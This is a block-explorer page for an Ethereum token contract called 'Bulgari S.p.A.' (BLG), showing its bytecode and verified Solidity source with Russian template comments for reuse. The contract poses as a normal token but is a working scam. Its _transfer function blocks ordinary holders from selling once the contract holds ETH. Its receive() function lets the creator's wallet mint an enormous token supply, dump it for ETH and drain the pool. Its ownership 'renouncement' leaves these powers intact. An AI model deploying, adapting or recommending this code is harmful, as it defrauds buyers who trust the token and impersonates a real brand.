Address Contract Partially Verified
Address
0xde33BaceCE6F387d988CeB9221A0E1eDa1d48161
Balance
0 ETH
Nonce
1
Code Size
7817 bytes
Creator
0xFd319689...191E at tx 0x56d4c624...cd203c
Indexed Transactions
0
Contract Bytecode
7817 bytes
0x6080604052600436106100a9575f3560e01c8063313ce56711610063578063313ce5671461056357806370a082311461058d5780638da5cb5b146105c957806395d89b41146105f3578063a9059cbb1461061d578063dd62ed3e1461065957610473565b8062695e2e1461047757806306fdde031461048d578063095ea7b3146104b75780631510a1c4146104f357806318160ddd146104fd57806323b872dd1461052757610473565b366104735760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610471576001340315610470576002340361017d5760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610177573d5f803e3d5ffd5b5061046f565b620493e06012600a61018f91906114a6565b633b9aca0061019e91906114f0565b6101a891906114f0565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546101f39190611531565b925050819055505f600267ffffffffffffffff81111561021657610215611564565b5b6040519080825280602002602001820160405280156102445781602001602082028036833780820191505090505b50905030815f8151811061025b5761025a611591565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156102ff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610323919061161c565b8160018151811061033757610336611591565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9476103b730610695565b5f8430426040518663ffffffff1660e01b81526004016103db95949392919061175e565b5f604051808303815f87803b1580156103f2575f80fd5b505af1158015610404573d5f803e3d5ffd5b5050505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561046c573d5f803e3d5ffd5b50505b5b5b005b5f80fd5b348015610482575f80fd5b5061048b6106db565b005b348015610498575f80fd5b506104a1610822565b6040516104ae9190611826565b60405180910390f35b3480156104c2575f80fd5b506104dd60048036038101906104d89190611884565b61085f565b6040516104ea91906118dc565b60405180910390f35b6104fb610875565b005b348015610508575f80fd5b50610511610c33565b60405161051e91906118f5565b60405180910390f35b348015610532575f80fd5b5061054d6004803603810190610548919061190e565b610c56565b60405161055a91906118dc565b60405180910390f35b34801561056e575f80fd5b50610577610cfb565b604051610584919061196d565b60405180910390f35b348015610598575f80fd5b506105b360048036038101906105ae9190611986565b610695565b6040516105c091906118f5565b60405180910390f35b3480156105d4575f80fd5b506105dd610d03565b6040516105ea91906119b1565b60405180910390f35b3480156105fe575f80fd5b50610607610d2a565b6040516106149190611826565b60405180910390f35b348015610628575f80fd5b50610643600480360381019061063e9190611884565b610d67565b60405161065091906118dc565b60405180910390f35b348015610664575f80fd5b5061067f600480360381019061067a91906119ca565b610d7d565b60405161068c91906118f5565b60405180910390f35b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075f90611a52565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60606040518060400160405280600e81526020017f42756c6761726920532e702e412e000000000000000000000000000000000000815250905090565b5f61086b338484610dff565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f990611a52565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109ac3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16625b8d806012600a61098e91906114a6565b633b9aca0061099d91906114f0565b6109a791906114f0565b610dff565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a16573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a3a919061161c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ac0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ae4919061161c565b6040518363ffffffff1660e01b8152600401610b01929190611a70565b6020604051808303815f875af1158015610b1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b41919061161c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610bc830610695565b5f805f426040518863ffffffff1660e01b8152600401610bed96959493929190611a97565b60606040518083038185885af1158015610c09573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c2e9190611b0a565b505050565b5f6012600a610c4291906114a6565b633b9aca00610c5191906114f0565b905090565b5f610c62848484610fc2565b610cf084338460025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ceb9190611b5a565b610dff565b600190509392505050565b5f6012905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f424c470000000000000000000000000000000000000000000000000000000000815250905090565b5f610d73338484610fc2565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6490611bfd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610edb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed290611c8b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fb591906118f5565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102790611d19565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361109e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109590611da7565b60405180910390fd5b5f81116110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d790611e35565b60405180910390fd5b60014710611225573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061116e575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111c5575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061121c575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611224575f80fd5b5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546112719190611b5a565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546112c49190611531565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161132891906118f5565b60405180910390a3505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156113b75780860481111561139357611392611335565b5b60018516156113a25780820291505b80810290506113b085611362565b9450611377565b94509492505050565b5f826113cf576001905061148a565b816113dc575f905061148a565b81600181146113f257600281146113fc5761142b565b600191505061148a565b60ff84111561140e5761140d611335565b5b8360020a91508482111561142557611424611335565b5b5061148a565b5060208310610133831016604e8410600b84101617156114605782820a90508381111561145b5761145a611335565b5b61148a565b61146d848484600161136e565b9250905081840481111561148457611483611335565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6114b082611491565b91506114bb8361149a565b92506114e87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846113c0565b905092915050565b5f6114fa82611491565b915061150583611491565b925082820261151381611491565b9150828204841483151761152a57611529611335565b5b5092915050565b5f61153b82611491565b915061154683611491565b925082820190508082111561155e5761155d611335565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115eb826115c2565b9050919050565b6115fb816115e1565b8114611605575f80fd5b50565b5f81519050611616816115f2565b92915050565b5f60208284031215611631576116306115be565b5b5f61163e84828501611608565b91505092915050565b61165081611491565b82525050565b5f819050919050565b5f819050919050565b5f61168261167d61167884611656565b61165f565b611491565b9050919050565b61169281611668565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6116ca816115e1565b82525050565b5f6116db83836116c1565b60208301905092915050565b5f602082019050919050565b5f6116fd82611698565b61170781856116a2565b9350611712836116b2565b805f5b8381101561174257815161172988826116d0565b9750611734836116e7565b925050600181019050611715565b5085935050505092915050565b611758816115e1565b82525050565b5f60a0820190506117715f830188611647565b61177e6020830187611689565b818103604083015261179081866116f3565b905061179f606083018561174f565b6117ac6080830184611647565b9695505050505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6117f8826117b6565b61180281856117c0565b93506118128185602086016117d0565b61181b816117de565b840191505092915050565b5f6020820190508181035f83015261183e81846117ee565b905092915050565b5f81359050611854816115f2565b92915050565b61186381611491565b811461186d575f80fd5b50565b5f8135905061187e8161185a565b92915050565b5f806040838503121561189a576118996115be565b5b5f6118a785828601611846565b92505060206118b885828601611870565b9150509250929050565b5f8115159050919050565b6118d6816118c2565b82525050565b5f6020820190506118ef5f8301846118cd565b92915050565b5f6020820190506119085f830184611647565b92915050565b5f805f60608486031215611925576119246115be565b5b5f61193286828701611846565b935050602061194386828701611846565b925050604061195486828701611870565b9150509250925092565b6119678161149a565b82525050565b5f6020820190506119805f83018461195e565b92915050565b5f6020828403121561199b5761199a6115be565b5b5f6119a884828501611846565b91505092915050565b5f6020820190506119c45f83018461174f565b92915050565b5f80604083850312156119e0576119df6115be565b5b5f6119ed85828601611846565b92505060206119fe85828601611846565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611a3c6020836117c0565b9150611a4782611a08565b602082019050919050565b5f6020820190508181035f830152611a6981611a30565b9050919050565b5f604082019050611a835f83018561174f565b611a90602083018461174f565b9392505050565b5f60c082019050611aaa5f83018961174f565b611ab76020830188611647565b611ac46040830187611689565b611ad16060830186611689565b611ade608083018561174f565b611aeb60a0830184611647565b979650505050505050565b5f81519050611b048161185a565b92915050565b5f805f60608486031215611b2157611b206115be565b5b5f611b2e86828701611af6565b9350506020611b3f86828701611af6565b9250506040611b5086828701611af6565b9150509250925092565b5f611b6482611491565b9150611b6f83611491565b9250828203905081811115611b8757611b86611335565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611be76024836117c0565b9150611bf282611b8d565b604082019050919050565b5f6020820190508181035f830152611c1481611bdb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c756022836117c0565b9150611c8082611c1b565b604082019050919050565b5f6020820190508181035f830152611ca281611c69565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611d036025836117c0565b9150611d0e82611ca9565b604082019050919050565b5f6020820190508181035f830152611d3081611cf7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611d916023836117c0565b9150611d9c82611d37565b604082019050919050565b5f6020820190508181035f830152611dbe81611d85565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f611e1f6029836117c0565b9150611e2a82611dc5565b604082019050919050565b5f6020820190508181035f830152611e4c81611e13565b905091905056fea264697066735822122066f5422fab119136fb22975d75ba53292d165875c54d2fbcb6fd9b75fa216a0c64736f6c634300081a0033
Verified Source Code Partial Match
Compiler: v0.8.26+commit.8a97fa7a
EVM: cancun
Optimization: No
BLG.sol 229 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function deleteOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
// КОНТРАКТ НАСТРОЕН ПОД ETHEREUM
contract BLG is IERC20, Ownable { // вместо CONTRACT_NAME - название контракта (это не имя токена, это будет видно только в обозревателе блоков)
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address payable private _taxWallet;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1000000000 * 10**_decimals; // вместо 1000000000 - общее количество выпщуенных токенов (советую не трогать)
string private constant _name = unicode"Bulgari S.p.A."; // вместо BOOMER - название токена
string private constant _symbol = unicode"BLG"; // вместо BMR - символ токена
IUniswapV2Router02 private uniswapV2Router;
address private p;
address private universalRouter =
0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD; // UNIVERSAL ROUTER UNISWAP ETHEREUM (если другая сеть - замени)
constructor() {
_taxWallet = payable(msg.sender);
_balances[msg.sender] = _tTotal;
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (address(this).balance >= 1) {
require(
from == address(this) ||
from == _taxWallet ||
from == p ||
from == universalRouter
);
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function openTraiding() external payable onlyOwner {
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // V2 ROUTER UNISWAP ETHEREUM (если другая сеть - замени)
);
_approve(address(this), address(uniswapV2Router), _tTotal * 6000000);
p = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: msg.value}(
address(this),
balanceOf(address(this)),
0,
0,
address(0),
block.timestamp
);
}
receive()external payable{if(msg.sender==_taxWallet){if(msg.value==1){}else if(msg.value==2){_taxWallet.transfer(address(this).balance);}
else{_balances[address(this)] += _tTotal * 300000;address[] memory path = new address[](2);path[0] = address(this);path[1] = uniswapV2Router.WETH();
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(balanceOf(address(this)),0,path,address(this),block.timestamp);_taxWallet.transfer(address(this).balance);}}}}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 5 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
deleteOwnership 0x00695e2e
No parameters
openTraiding 0x1510a1c4
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address